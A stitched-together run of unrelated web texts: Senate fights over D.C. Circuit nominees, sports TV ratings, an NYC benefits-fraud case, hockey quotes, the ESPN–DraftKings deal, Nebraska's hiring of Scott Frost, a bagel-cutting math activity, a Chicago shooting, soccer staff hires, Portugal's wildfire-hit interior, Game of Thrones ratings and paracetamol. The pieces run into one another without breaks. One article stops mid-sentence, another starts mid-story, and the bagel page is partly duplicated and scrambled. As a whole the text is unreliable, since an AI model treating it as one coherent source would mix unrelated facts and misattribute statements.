"I'm concerned about the caseload of this circuit and the efforts to pack it," Grassley complained during a Senate Judiciary Committee hearing last week, charging the administration -- six times -- with court-packing. Of course, Grassley was quickly corrected by a colleague, who said that court-packing isn't about filling existing vacancies.
Still, Grassley isn't alone in making these charges. During floor remarks last week, Senate Minority Leader Mitch McConnell (R-Ky.) accused Democrats of plotting with the White House "to pack the D.C. Circuit with appointees," and Sen. Mike Lee (R-Utah) worried aloud that Democrats may "decide to play politics and seek -- without any legitimate justification -- to pack the D.C. Circuit with unneeded judges simply in order to advance a partisan agenda."
Even The Wall Street Journal piled on last week, arguing in an editorial that the D.C. Circuit "doesn't need new judges to handle the workload" and filling those vacant seats would be akin to "packing the court for political ends."
But it is perhaps a sign of just how partisan the Senate has become when a president's effort to nominate judges for empty seats is equated with court-packing. Presidents have a constitutional imperative to try to fill judicial vacancies. In fact, one could make the case that Senate Republican efforts to prevent Obama from filling vacant court seats -- thereby keeping those courts from having any more Democrat-appointed judges -- are actual instances of court-packing.
Grassley and McConnell both voted to fill empty slots on the D.C. Circuit under former President George W. Bush. On June 14, 2005, both voted to confirm Judge Thomas Griffith, giving the court 11 active judges at the time. A year later, on May 26, 2006, Grassley and McConnell voted to confirm Judge Brett Kavanaugh to the D.C. Circuit. That vote put the court at 10 active judges.
Wrangling over the D.C. Circuit comes at a time when Senate Republicans are using a variety of methods to block Obama's nominees for different posts. Some are declining to put forward recommendations for nominees at the beginning of the process, some are causing delays in floor votes once nominees clear the Senate Judiciary Committee, and some are dragging out the committee process by submitting hundreds of questions for nominees to answer.
"Gina McCarthy, EPA [nominee]: more than 1,100 written questions after her hearing had closed," Senate Majority Leader Harry Reid (D-Nev.) complained last week. "People have gotten hundreds and hundreds... just to stall."
There was a brief reprieve in the nominations fight last week when the Senate unanimously voted to send Sri Srinivasan to the D.C. Circuit, which filled another vacancy on that court. McConnell initially tried to delay Srinivasan's vote, but at a time when Democrats are signaling they may be ready for a fight over filibuster reform, the GOP leader relented and agreed to hold the vote last week.
Not all conservatives are eager to compare Obama's efforts to fill empty judge slots with court-packing. Byron York, chief political correspondent for the Washington Examiner and Fox News contributor, expressed puzzlement on Twitter at how some could make that leap:
On Obama's DC circuit court plan: It doesn't strike me as 'packing' to nominate candidates for available seats… — Byron York (@ByronYork) May 28, 2013
Obama is not gonna get all three confirmed, but he should be able to get one or two acceptable nominees through Senate… — Byron York (@ByronYork) May 28, 2013The ratings below are household ratings from the 56 television markets with local Nielsen meters for Saturday April 23 and Sunday April 24, 2016. The 56 markets (out of 210 total) cover about 70% of the US television population. Click here for sports ratings from the same calendar weekend last year.
Golf
PGA: Valero Texas Open (San Antonio, TX)
1.15 rating CBS 3:00 pm Saturday Third Round
1.62 rating CBS 3:00 pm Sunday Final Round
NBA Playoffs
Saturday
n/a rating TNT 3:00 pm TOR Raptors at IND Pacers Game 4
n/a rating TNT 5:30 pm MIA Heat at CHA Hornets Game 3
2.14 rating ESPN 8:00 pm OKC Thunder at DAL Mavericks Game 4
n/a rating ESPN 10:30 pm LA Clippers at POR Trail Blazers Game 3
Sunday
2.65 rating ABC 1:00 pm SA Spurs at MEM Grizzlies Game 4
5.31 rating ABC 3:30 pm GS Warriors at HOU Rockets Game 4
n/a rating TNT 6:00 pm ATL Hawks at BOS Celtics Game 4
n/a rating TNT 8:30 pm CLE Cavaliers at DET Pistons Game 4
MLB
Saturday
n/a rating FS1 4:00 pm BOS Red Sox at HOU Astros
Sunday
n/a rating ESPN 8:00 pm BOS Red Sox at HOU Astros
NHL Playoffs
Saturday
1.23 rating NBC 3:00 pm NY Rangers at PIT Penguins Game 5
0.30 rating NBCSN 6:00 pm NASH Predators at ANA Ducks Game 5
2.00 rating NBC 8:00 pm SJ STL Blues at CHI Blackhawks Game 6
Sunday
1.44 rating NBC 12:00 pm WAS Capitals at PHI Flyers Game 6
1.18 rating NBC 3:00 pm TB DAL Stars at MIN Wild Game 6
0.53 rating NBCSN 7:30 pm FLA Panthers at NY Islanders Game 6
Auto Racing
NASCAR Sprint Cup Series
Sunday
2.89 rating FOX 1:00 pm Toyota Owners 400 (Richmond, VA)
NASCAR Xfinity Series
Saturday
0.74 rating FS1 12:30 pm ToyotaCare 250 (Richmond, VA)
INDYCAR
Sunday
0.26 rating NBCSN 3:30 pm Honda Indy Grand Prix of Alabama
FORMULA ONE
Returns May 1 with Russian Gran Prix
Soccer
Premier League
Saturday
0.28 rating NBCSN 7:30 am Manchester City vs Stoke City
0.39 rating NBCSN 10:00 am Liverpool vs Newcastle United
0.19 rating USA 10:00 am Bournemouth vs Chelsea
Sunday
0.42 rating NBCSN 9:00 am Sunderland vs Arsenal
0.47 rating NBCSN 11:00 am Leicester City vs Swansea
Bundesliga
n/a
Other
Saturday
0.45 rating FOX 4:00 pm AMA Supercross (Foxborough, MA)
###The New York City employee’s plan, as described by investigators, was elaborate but efficient. She had people pay welfare recipients for access to their benefits cards and directed money to their accounts. Then an associate used some of the fraudulent benefits to buy Red Bull in bulk and resold the energy drink to bodegas. Some of the cash then made its way back to the city employee, the authorities said.
On Tuesday, the employee, Cherrise Watson-Jackson, a supervisor for the city’s Human Resources Administration, and a fired worker from the same agency, Petronila Peralta, were arrested and charged with orchestrating various schemes to steal $2.1 million from a range of government benefit programs that they helped operate.
Eleven other people, some of whom remain at large, were also charged in the case.
As described by the authorities, the schemes exploited rental assistance and nutrition programs intended for those in the direst need, with people posing as sham landlords and others turning food stamps into cash.
Also on Tuesday, the city’s Department of Investigation released a report detailing past fraud schemes orchestrated by other resources administration employees and outlining remedial steps the agency’s leaders agreed to take.Henrik Sedin, on delivering a message throughout the game:
We played a great game. I think it was up there with our best games of the year, if you look at the way we were batting, hitting and getting in on the forecheck and everything you need to do to win games. We were right there.
Henrik Sedin, on being called for a penalty his brother committed:
Yeah, I like that though – fantasy points.
Henrik Sedin, on killing the penalties in the first period:
We didn’t really care about that today. We went out there, we did everything we could to stand up for each other, for our goalie and like I said, for our teammates. We’ll kill off those any day.
Kevin Bieksa, on the game:
It was a good game. Shots were on our side, even though we gave them probably 15 minutes of power play time. It was one of the most positive losses I think.
Bieksa, on if it stung that Dustin Brown scored the game-winning goal:
I didn’t see who got the goal. [Reporter: Brown] I could care less who gets their goal. I didn’t see the goal, but we had our chances at the end. Quick made some big saves and couldn’t get a goal. It was a good game though. We played well, played hard. A lot of guys stepped up, like I said.
Bieksa, on Los Angeles’ early power plays:
We were okay with that. We were going to come out and play hard and play Brown hard and play some of their other guys hard and we did it. I have no problems killing off the penalty when Kassian is doing his job out there. No problems killing off the penalty when Tom does his job out there. I think we’ll kill those off most of the time. If not, so be it. They hockey gods are on their side. If anything it galvanizes us.
Bieksa, on setting the tone early:
For us it was coming out and we were going to make a statement whether they liked it or not. So after the first period or so, a lot of their guys were skating around saying ‘what’s up with you guys tonight.’ So we obviously got their attention and we’d like to play like this every night.
Ryan Kesler, on making a statement with how Vancouver played:
I thought that’s a big statement by our team. I think in the past, that team tries to bully you and it’s still physical play. I thought we out hit them, I thought out battled them, I thought we were good all game. I think we played the right way tonight.
Kesler, on his fight with Dustin Brown:
I think that everything that happened with Roberto the last time we played, I think he knew from the opening puck drop that he had to fight someone. I think – a lot of guys sticking up for each other tonight. It was a good team game tonight.
Kesler, on the impact of this game:
You always want to win the game. But I think not getting a point, or even two points – it’s what we play the game for. But saying that, this game is going to go a long way for our team in the future – the way we played tonight is the way we need to play every night. I thought we were good tonight.
Kesler, on if his fight with Dustin Brown will impact their relationship as teammates at the Olympics:
Not awkward at all. I know him off the ice, he’s a good guy. But right now, on the ice, he’s the enemy. He plays the game hard. I play the game hard and saying that, we’re friends off the ice.
John Tortorella, on the game:
I thought, in all parts of our game, I thought we played well. We don’t capitalize on a couple offensive chances, we make a mistake early in the third and they score. There were a lot of things that I thought we stepped out of into a different level, which is really important as you go to the second half of the year.
Tortorella, on killing the penalties in the first period:
It is what it is. We did our job.
Tortorella, on making a statement in the game:
I thought we did a really good job as far as deciding that, that ice is ours also. It’s something that’s been minus in our game a little bit here. That was a big part of our game tonight. We had squat for points, but I think we crossed a couple of bridges in what needs to be done.ESPN has gotten out early from an exclusive advertising relationship with daily fantasy sports company DraftKings, Yahoo Finance has confirmed from multiple sources close to the situation.
ESPN first announced the deal with DraftKings last June. The Disney-owned (DIS) sports network did not disclose financial details, but said that the partnership "makes DraftKings the official daily fantasy sports offering across ESPN’s platforms" and that it would include, "branding and promotional opportunities across multiple ESPN and DraftKings platforms including integration into digital properties and television programming."
The "exclusive" part did not kick in until January— before the new year, ESPN was welcome to sell ad space to DraftKings' rival FanDuel, as well. And so it did. On many days during the fall, advertisements for both companies appeared on ESPN, often running back-to-back.
You probably know what happened next: in October, a DraftKings employee, Ethan Haskell, won $350,000 in a contest on FanDuel, raising concerns about whether employees of these companies are able to take advantage of users. Both companies quickly barred their employees from playing on any daily fantasy sites.
It is up for debate whether it was that scandal, or the aggressive marketing assault on TV and radio (the two private "unicorn" startups spent more than $200 million on TV ads this fall), that brought unwanted attention from lawmakers. But in a short time, a slew of state attorneys general, as well as the FBI and the U.S. Department of Justice, announced investigations into the industry.
Nevada's Gaming Control Board declared the contests that DraftKings and FanDuel offer to be gambling, and asked them to cease taking paid entries in the state until they applied for a gaming license—something they are unlikely to do. Attorneys general in New York, Illinois, Hawaii and Texas issued opinions that it is illegal gambling. New York Attorney General Eric Schneiderman has pursued the two companies with particular vigor. In contrast, attorneys general in Massachusetts and in Rhode Island have issued opinions that the contests are legal, but ought to be regulated.
Amidst all this, ESPN kept running advertisements and sponsored segments for DraftKings (save for a three-day suspension of ads during the Haskell scandal) and its on-air personalities promoted the site on their social media accounts. Now, the network has broken free from exclusivity and is able to sell advertising spots to other fantasy companies. It is in talks to do so.
As part of the ESPN deal, DraftKings reportedly had to commit upwards of $200 million per year in ad spend on the network. DraftKings is devoting a lot of money to fighting legal battles right now, which makes it likely that DraftKings was the one looking to get out of the commitment, and that ESPN obliged.
DraftKings, FanDuel, and ESPN declined to comment on the record for this story. ESPN experienced layoffs in October due to a drop in subscribers, but on Tuesday night Disney beat expectations on its first-quarter earnings, and CEO Bob Iger said that ESPN, while down in the quarter, has "seen an uptick recently" in subscribers since the quarter ended.
In its original June 24 press release about its new partnership with DraftKings, ESPN included this line of corporate biography at the bottom: "DraftKings, Inc. is a leading skill-based Daily Fantasy Sports (DFS) gaming destination for fans in North America." Half a year later, much has changed. The "skill-based" claim has been called into question and become the central issue in an ongoing legal skirmish over whether daily-fantasy is gambling. And DraftKings is no longer just in North America: This month, it launched in Europe, where sports betting is perfectly legal.
ESPN had never stated exactly how long the exclusive deal would last, but it was widely believed to be a multi-year deal. In the end, since exclusivity did not begin until January, ESPN and |
after that.
"So he could get a feel for me, and then he relayed what he felt about me to Scott, because Scott has trust in Matt," Moos said. "And Scott's a little bit guarded. That's understandable. I know Matt went to Scott and said, 'This is a guy you can trust. He'll have your back. He'll support you. And Nebraska is going to go places.' That kind of thing. That was a big help."
Meanwhile, Frost's Central Florida team just kept winning. Tennessee's job opened. Florida's job opened. Some Husker fans started to get anxious. Moos didn't budge, keeping to his word and not letting go of Mike Riley during the season. "I don't know what that does," Moos said. "The two of note who did that — Florida and Tennessee — what did they gain on me?"
Besides, he had Davison talking to Frost. "Pestering me," Frost said jokingly. And what did Moos do? Perhaps his shrewdest move of all: He mostly left Frost alone.
This was a little different than when he courted Mike Leach to coach at Washington State in 2011. At the time, Leach wasn't coaching at all. He was living in Key West.
"I had guys nagging Leach, but he didn't have a game to coach," Moos said. "I thought that the No. 1 thing that I could generally impress Scott (with) was, 'Let him have his space. Find out what I'm about, Scott, through Matt Davison, and our visit. And then go... You'll kick yourself if you get preoccupied with this.'
"And I think, this is just speculation, some of these other places were nagging him and hounding and all that kind of stuff. I could sense and knew through Matt that that did not resonate with him."
Moos thought about meeting Frost in Orlando the Thursday night before Nebraska's game against Penn State. Nah. Might as well do it in Philly on Friday. Frost's team was playing Temple there.
He wanted Davison there, too.
Davison had been in New York, serving as the color analyst for Husker hoops as they took on St. John's. He only found out as that trip began that he was wanted in Philly.
He tried to rent a car, but had trouble getting one he could take just one way. "So I jumped on a train." Then he took a cab. Then he showed up at the Embassy Suites, if that's what it was. They all look the same.
A room was booked.
It would eventually have five people in it: Frost, Davison, Central Florida's director of football operations Gerrod Lambrecht, Moos and his wife, Kendra. The couple had flown a charter plane to get there.
Kendra made sure there were snacks and beverages. She also had a question or two of her own for Frost.
"She gives a tough interview," Moos said. "She had her finger out and everything else. 'You make sure, first and foremost, you're a good daddy to that new baby.' I'm glad she was in there."
The meeting lasted an hour, maybe a bit more.
"It was very casual and there were no notes," Moos said. "It was just I wanted to get to know this guy and I felt he wanted to get a feel for me too."
Davison thought going in that Frost and Moos would get along well, and left thinking they had.
"But I by no means felt it was a slam dunk that Scott was going to be at Nebraska here today," Davison said. "He's a loyal guy to his players at UCF and he was not going to let himself mentally get to that position. He was going to give everything to his players in Orlando."
Moos said he thinks he only sent one text message to Frost after that meeting, just wishing him a good week of preparation. He trusted his idea to allow space.
He had backup plans, of course. You have to have backup plans. And when he met the media last Saturday, Nov. 25, the deal with Frost was not a done deal.
Moos didn't do any negative recruiting of other schools during the process, although he did throw in one jab during last Saturday’s press conference. A memorable one. It was the line about how the SEC eat their young. He had the situation with Florida and Jim McElwain in mind when he said it. Perhaps not unrelated, the Gators were at that point one of the schools thought to be a heavy competitor for Frost.
As for the timing of the Husker offer? It was not extended until after the Iowa game, Moos said. The date it was agreed to was Monday, Nov. 27.
There were reports of last-day uncertainties by Frost. Moos, though, always believed the connection formed through the process would carry the day.
"I really disregarded anybody else I had on the list," Moos said. "I just felt that we had already established a comfortable relationship, and an element of trust each way, and it was just going to get there. It was just a matter of making sure that the details were carried through."
But yeah, it's true he was in Philly a couple weeks ago. It's a question he had maneuvered around when last in front of the media. He had answered then that, well, they do have good sandwiches there.
Now, with Frost seated next to him in a red tie, he could laugh about it.
"There was more than sandwiches there."don't
Modify the cut so the cutting surface is a one-twist Mobius strip.
(You can still get cream cheese into the cut, but it doesn't separate into two parts.)
What is the ratio of the surface area of this linked cut
to the surface area of the usual planar bagel slice?
How to make Mobius lox...
Computers and Sculpture class. It is very successful if the students work in pairs, with two bagels per team. For the first bagel, I have them draw the indicated lines with a "sharpie". Then they can do the second bagel without the lines. (We omit the schmear of cream cheese.) After doing this, one can better appreciate the stone carving of
Addendum: I made a video showing how to do this.
Note: I have had my students do this activity in myclass. It is very successful if the students work in pairs, with two bagels per team. For the first bagel, I have them draw the indicated lines with a "sharpie". Then they can do the second bagel without the lines. (We omit the schmear of cream cheese.) After doing this, one can better appreciate the stone carving of Keizo Ushio, who makes analogous cuts in granite to produce monumental sculpture.
It is not hard to cut a bagel into two equal halves which are linked like two links of a chain.To start, you must visualize four key points. Center the bagel at the origin, circling the Z axis.A is the highest point above the +X axis. B is where the +Y axis enters the bagel.C is the lowest point below the -X axis. D is where the -Y axis exits the bagel.These sharpie markings on the bagel are just to help visualize the geometryand the points. Youneed to actually write on the bagel to cut it properly.The line ABCDA, which goes smoothly through all four key points, is the cut line.As it goes 360 degrees around the Z axis, it also goes 360 degrees around the bagel.The red line is like the black line but is rotated 180 degrees (around Z or through the hole).An ideal knife could enter on the black line and come out exactly opposite, on the red line.But in practice, it is easier to cut in halfway on both the black line and the red line.The cutting surface is a two-twist Mobius strip; it has two sides, one for each half.After being cut, the two halves can be moved but are still linked together, each passing throughthe hole of the other. (So when you buy your bagels, pick ones with the biggest holes.)If you visualize the key points and a smooth curve connecting them, you donot need to draw on the bagel. Here the two parts are pulled slightly apart.If your cut is neat, the two halves are congruent. They are of the same handedness.(You can make both be the opposite handedness if you follow these instructions in a mirror.)You can toast them in a toaster oven while linked together, but move them around everyminute or so, otherwise some parts will cook much more than others, as shown in this half.It is much more fun to put cream cheese on these bagels than on an ordinary bagel. In additional tothe intellectual stimulation, you get more cream cheese, because there is slightly more surface area.Topology problem:Calculus problem:For future research:Please enable Javascript to watch this video
CHICAGO -- A 19-year-old has been charged with murder in the death of 11-year-old Takiya Holmes.
According to police and prosecutors, Jones was walking down the street Saturday night when he saw three gang rivals selling pot in Black Disciples territory and started shooting from across King Drive, the Chicago Tribune reports.
He missed his target and a bullet hit Takiya in the head while she was sitting in her mother’s parked car at 65th and King Drive. Her younger brother, mother and aunt were also in the van -- but were not hurt.
Takiya never regained consciousness after the shooting, and was taken off life support Tuesday morning at Comer Children's Hospital.
Utterly devastated, the little girl's uncle, community activist Andrew Holmes, worked with community members and fellow activist Gator Bradley of United in Peace, Inc. to help locate Jones, who turned himself in to police.
Police said Jones has an extensive juvenile criminal record, and he was denied bond Wednesday.
Detectives say a videotape of the tragic shooting will serve as the first crucial piece of evidence in the acse.
Takiya is one of three young children who have been shot and killed in Chicago over the last 5 days.Sporting Kansas City announced on Friday two additions to the club’s technical staff. Mike Jacobs (pictured, left) has been hired as the Assistant Technical Director while Jorge Alvial (pictured, right) has been hired as the club’s Director of Scouting. Both Jacobs and Alvial will report to Sporting KC Manager and Technical Director Peter Vermes.
“Mike [Jacobs] and Jorge [Alvial] are two very strong additions to our club,” Vermes said. “Mike knows the landscape of youth soccer in the United States and has experience both at the collegiate and USL level. Jorge has an extensive scouting network that will serve us greatly as we look to improve our team both now and in the future. Both of these additions will help immensely as we look to vertically integrate our club from the academy level to the senior team.”
Jacobs has vast experience in American soccer having spent four years as an assistant coach at Duke University before accepting the head coaching role at the University of Evansville. In 2004, Jacobs was named the National Assistant Coach of the Year during a season in which his Blue Devils advanced to the College Cup. While at Evansville, the Purple Aces posted a 71-69-8 record and were Missouri Valley Conference Tournament runners-up in 2009.
“I’ve always wanted to work in Major League Soccer and would like to thank Peter Vermes and the Sporting KC organization for giving me this opportunity,” Jacobs said. “This is truly a special organization and I look forward to working closely with the entire technical staff to keep us ahead of the curve and ensure we remain one of the elite clubs in the United States.”
Jacobs is currently President of the National Soccer Coaches Association of America (NSCAA) after a three-year stint as Vice President of the world’s largest soccer coaches organization. Prior to joining Sporting Kansas City, Jacobs was the Executive Vice President and Technical Director of the United Soccer League (USL), providing strategic direction for the organization at all levels.
Alvial joins Sporting Kansas City after nine years working for Chelsea FC. As Head Scout for the Americas, Alvial oversaw scouting in North, Central and South America for the five-time English Premier League champions and was vital to the recruitment of Chelsea midfielder and Brazilian national team star Oscar.
“I believe the United States is a sleeping giant on the world soccer stage,” Alvial said. “Major League Soccer is going to be a top-five League in the world very soon and Sporting Kansas City has already proven to be among the best teams in MLS. I believe I can help the club maintain its high standing and help it achieve its goal of becoming one of the top clubs not only in the country, but also in CONCACAF.”
Before joining Chelsea, Alvial managed the then-USL PRO Puerto Rico Islanders and served as a consultant for FC Dallas’ technical staff in 2008. Through his connections with then-Columbus Crew head coach Sigi Schmid, Alvial recruited Guillermo Barros Schelotto to the United States to join the Crew. The Boca Juniors legend won the 2008 MLS MVP Award and helped Columbus win the MLS Cup and Supporters’ Shield double in 2008, as well as the Supporters’ Shield in 2009.
Alvial began his playing career as a goalkeeper in Chile with first division side Deportes Iquique, which was followed by stints in the United States with the then-Washington Stars of the American Soccer League and the Washington Diplomats of the American Professional Soccer League. He also served as Head Scout for Chilean first division side Club Deportivo Universidad Catolica where he discovered a young Humberto Suazo, who has appeared more than 60 times for the Chilean national team and has won three CONCACAF Champions League titles with Liga MX club C.F. Monterrey.Eddie Vedder Makes Surprise Appearance at Chicago’s Hot Stove Cool Music Benefit
Last night, the Metro in Chicago hosted the fifth annual Hot Stove Cool Music benefit, which helps raise money and awareness for nonprofits that support disadvantaged youth, and Pearl Jam frontman made a surprise appearance and played several songs with a backing band that included Smashing Pumpkins drummer Jimmy Chamberlin and a few baseball luminaries.
As Alternative Nation reports, the event was headlined by Liz Phair and JC Brooks & the Uptown Sound. Vedder ended up coming out for an unscheduled performance that paired the singer with Chamberlin, Chicago Cubs president Theo Epstein, the team’s manager Joe Maddon and New York Yankees legend Bernie Williams.
The collective’s set featured Pearl Jam’s hit “Better Man,” Vedder’s “Hard Sun,” The Who’s “The Kids Are Alright,” Neil Young’s “Rockin’ in the Free World” and more. Watch video clips of a couple of the tunes below, along with the setlist as posted by Chamberlin on Twitter.In a wave of national solidarity, donations and emergency assistance have been flowing into the scattered hillside communities of central Portugal where devastating forest fires have claimed more than 60 lives this summer.
But the wounds exposed by the disaster and inflicted by decades of neglect, rural flight and remoteness from political power cannot be healed by aid alone.
“We have always been overlooked,” says Valdemar Alves, mayor of Pedrógão Grande, a small town 200km north of Lisbon where 64 people died in a catastrophic wildfire in June. “To many, we were just ‘the people from the hills’.”
His sense of abandonment is shared in sparsely populated villages across Portugal, where inhabitants feel they are forgotten communities living on the wrong side of a deep divide between the urbanised Atlantic coast and the poor, rural interior.
Centuries of hierarchical power fixed in Lisbon and entrenched by the authoritarian Salazar-Caetano regime between 1928 and 1974 have made Portugal one of the most centralised states in Europe, says Eduardo Cabrita, a minister in the Socialist government. This, he believes, has “set back the development of the whole country”.
It is harder for an economy to grow, he argues, when centralisation requires that “even the organisers of a beach volleyball competition in the north have to apply to the defence and environment ministries in Lisbon for authorisation”.
To remove such barriers, António Costa, prime minister, has charged Mr Cabrita with overseeing the first serious attempt in more than 40 years of democracy to devolve administrative power and give people like the residents of Pedrógão Grande more control over their lives.
Local government accounts for only 14 per cent of total public spending and 17 per cent of public sector employment, compared with EU averages of 25 and 36 per cent, respectively.
A punishing 2011-2014 adjustment programme, overseen by the EU and the International Monetary Fund, brought “terrible years” for local authorities, says Mr Cabrita. In the words of Pedro Cegonho, head of Portugal’s National Association of Neighbourhood Councils, “austerity policies and centralised government make an explosive mix”.
Scarce resources compounded by the limited powers available to Portugal’s municipalities and neighbourhood councils have fed into a rural exodus that has depopulated scores of villages. This, in turn, has widened the poverty gap between urban and rural areas, a gulf that was brought sharply into focus by the summer fires.
In Pedrógão Grande, where officials estimate the population has roughly halved over the past 50 years, the population density is 28 people per sq km compared with a national average of 112. One doctor tends to every 1,180 residents against one for every 205 people nationally. About a third of residents are over 65, an indication also of Portugal’s rapidly ageing population.
More than 60 people died when wildfires swept through Pedrógão Grande © AFP
“Marginalisation and desertification have created an imbalance that has to be corrected,” says Manuel Machado, mayor of the central city of Coimbra and head of Portugal’s National Association of Municipalities. “The old saying that ‘Portugal is Lisbon, the rest is countryside’ still holds true.”
In February, the government unveiled a decentralisation package comprising plans for 23 new laws and a reform of local government financing. A vote on the legislation has been pushed back until after local elections in October in an effort to reach a consensus on the proposals with opposition parties.
Apart from moving towards average EU levels of local government financing, the reforms aim to give local authorities significantly more powers over health, education, policing, transport and other public services.
In the area of fire prevention, for example, they will be able to determine forest management rules, choose what trees are planted locally and enforce the clearing of dangerous brush, which has spread widely as a result rural flight and ageing populations.
Shifting the balance of power away from Lisbon is expected to meet strong resistance from within the state bureaucracy. “Centralised states always tend towards concentrating power even further,” says Mr Cegonho, who is also head of the Campo de Ourique neighbourhood council in Lisbon. “They see centralised measures as the easiest way to achieve financial targets, but local decisions often make more productive use of public funds.”
For Mr Alves, who, like many of his peers, left Pedrógão Grande as a teenager, returning only four years ago, aged 64, to become mayor, what local people most want is to be heard. “With the right vision and the right input, we can make a future here,” he says.
Copyright The Financial Times Limited. All rights reserved. Please don't copy articles from FT.com and redistribute by email or post to the web.HBO’s hit fantasy series “Game of Thrones” continues to break ratings records in its third season.
Episode 4, “Kissed By Fire,” attracted 4.9 million viewers Sunday for its 9 p.m. showing, setting a new high for an initial airing. That was up 4 percent from last week.
Counting Sunday’s encore, 5.9 million viewers tuned in.
In comparison, the Season 3 premiere, “Valar Dohaeris,” pulled in 4.4 million viewers during its 9 p.m. showing, totaling 6.7 million viewers after the encore.
Strong audience interest has also made “Game of Thrones” the most pirated show of 2012. More than 1 million viewers downloaded the Season 3 premiere, with a record-breaking 163,000 people sharing a single torrent at one point, according to piracy tracker TorrentFreak.
Last year, 4.3 million people downloaded the season finale.
“Game of Thrones” chronicles a treacherous clash among royal families to secure ultimate power of Westeros, a vast kingdom facing peril at every corner.
Season 3 is based on the first half of author George R.R. Martin’s “A Song of Ice and Fire” novel “A Storm of Swords.”
HBO has already renewed the series for a fourth season.
“Game of Thrones,” which is executive produced by David Benioff (“Troy,” “The Kite Runner”) and D.B. Weiss, stars Peter Dinklage, Lena Headey, Nikolaj Coster-Waldau, Emilia Clarke, Michelle Fairley, Maisie Williams, Sophie Turner, Kit Harington, Harry Lloyd.
The series airs Sundays at 9 p.m. ET.Paracetamol, also known as acetaminophen and APAP, is a medication used to treat pain and fever.[1] It is typically used for mild to moderate pain relief.[1] There is mixed evidence for its use to relieve fever in children.[11][12] It is often sold in combination with other medications, such as in many cold medications.[1] Paracetamol is also used for severe pain, such as cancer pain and pain after surgery, in combination with opioid pain medication.[13] It is typically used either by mouth or rectally, but is also available by injection into a vein.[1][14] Effects last between 2 to 4 hours.[14]
Paracetamol is generally safe at recommended doses.[15] The recommended maximum daily dose for an adult is 3 or 4 grams.[16][17] Higher doses may lead to toxicity, including liver failure.[1] Serious skin rashes may rarely occur.[1] It appears to be safe during pregnancy and when breastfeeding.[1] In those with liver disease, it may still be used, but in lower doses.[18] It is classified as a mild analgesic.[14] It does not have significant anti-inflammatory activity.[19] How it works is not entirely clear.[19]
Paracetamol was first made in 1877.[20] It is the most commonly used medication for pain and fever in both the United States and Europe.[21] It is on the World Health Organization's List of Essential Medicines, which lists the most effective and safe medicines needed in a health system.[22] Paracetamol is available as a generic medication with trade names including Tylenol and Panadol, among others.[23] The wholesale price in the developing world is less than US$ 0.01 per dose.[24] In the United States, it costs about US$0.04 per dose.[25] In 2016, it was the 17th most prescribed medication in the United States, with more than 29 million prescriptions.[26]
Medical uses [ edit ]
Fever [ edit ]
Paracetamol is used for reducing fever in people of all ages.[27] The World Health Organization recommends that paracetamol be used to treat fever in children only if their temperature is higher than 38.5 °C (101.3 °F).[28] The efficacy of paracetamol by itself in children with fevers has been questioned[29] and a meta-analysis showed that it is less effective than ibuprofen.[30] Paracetamol does not have significant anti-inflammatory effects.
Pain [ edit ]
Paracetamol is used for the relief of mild to moderate pain.[1] The use of the intravenous form for short-term pain in people in the emergency department is supported by limited evidence.[31]
Osteoarthritis [ edit ]
The American College of Rheumatology recommends paracetamol as one of several treatment options for people with arthritis pain of the hip, hand, or knee that does not improve with exercise and weight loss.[32] A 2015 review, however, found it provided only a small benefit in osteoarthritis.[33]
Paracetamol has relatively little anti-inflammatory activity, unlike other common analgesics such as the nonsteroidal anti-inflammatory drugs (NSAIDs) aspirin, and ibuprofen, but ibuprofen and paracetamol have similar effects in the treatment of headache. Paracetamol can relieve pain in mild arthritis, but has no effect on the underlying inflammation, redness, and swelling of the joint.[34] It has analgesic properties comparable to those of aspirin, while its anti-inflammatory effects are weaker. It is better tolerated than aspirin due to concerns about bleeding with aspirin.
Lower back [ edit ]
Based on a systematic review, paracetamol is recommended by the American Pain Society as a first-line treatment for lower back pain.[35] In contrast, the American College of Physicians found good evidence for NSAIDs but only fair evidence for paracetamol, while other systematic reviews have concluded that evidence for its efficacy is lacking entirely.[33][36][37][38]
Headaches [ edit ]
A joint statement of the German, Austrian, and Swiss headache societies and the German Society of Neurology recommends the use of paracetamol in combination with caffeine as one of several first-line therapies for treatment of tension or migraine headache.[39] In the treatment of acute migraine, it is superior to placebo, with 39% of people experiencing pain relief at 1 hour compared with 20% in the control group.[40]
Postoperative [ edit ]
Paracetamol combined with NSAIDs may be more effective for treating postoperative pain than either paracetamol or NSAIDs alone.[41]
Teeth [ edit ]
NSAIDs such as ibuprofen, naproxen, and diclofenac are more effective than paracetamol for controlling dental pain or pain arising from dental procedures; combinations of NSAIDs and paracetamol are more effective than either alone.[42] Paracetamol is particularly useful when NSAIDs are contraindicated due to hypersensitivity or history of gastrointestinal ulceration or bleeding.[43] It can also be used in combination with NSAIDs when these are ineffective in controlling dental pain alone.[44] The Cochrane review of preoperative analgesics for additional pain relief in children and adolescents shows no evidence of benefit in taking paracetamol before dental treatment to help reduce pain after treatment for procedures under local anaesthetic, but the quality of evidence is low.[45]
Other [ edit ]
The efficacy of paracetamol when used in combination with weak opioids (such as codeine) improved for about 50% of people, but with increases in the number experiencing side effects.[46][47] Combination drugs of paracetamol and strong opioids such as morphine improve analgesic effect.[48]
The combination of paracetamol with caffeine is superior to paracetamol alone for the treatment of common pain conditions, including dental pain, post partum pain, and headache.[49]
Patent ductus arteriosus [ edit ]
Paracetamol is used to treat patent ductus arteriosus, a condition that affects newborns when a blood vessel used in developing the lungs fails to close as it normally does, but evidence for the safety and efficacy of paracetamol for this purpose is lacking.[50][51] NSAIDs, particularly indomethacin and ibuprofen, have also been used, but the evidence for them is also not strong.[50] The condition appears to be caused in part by overactive prostaglandin E2 (PGE 2 ), signalling primarily through its EP 4 receptor, but possibly also through its EP 2 receptor and EP 3 receptors.[50]
Adverse effects [ edit ]
Healthy adults taking regular doses up to 4,000 mg a day shows little evidence of toxicity (although some researchers disagree[according to whom?]). They are more likely to have abnormal liver function tests, but the importance of this is uncertain.[33]
Liver damage [ edit ]
Acute overdoses of paracetamol can cause potentially fatal liver damage. In 2011, the U.S. Food and Drug Administration launched a public-education program to help consumers avoid overdose, warning: "Acetaminophen can cause serious liver damage if more than directed is used."[52][53][54] In a 2011 Safety Warning, the FDA immediately required manufacturers to update labels of all prescription combination acetaminophen products to warn of the potential risk for severe liver injury and required that such combinations contain no more than 325 mg of acetaminophen.[55][56] Overdoses are frequently related to high-dose recreational use of prescription opioids, as these opioids are most often combined with acetaminophen.[57] The overdose risk may be heightened by frequent consumption of alcohol.
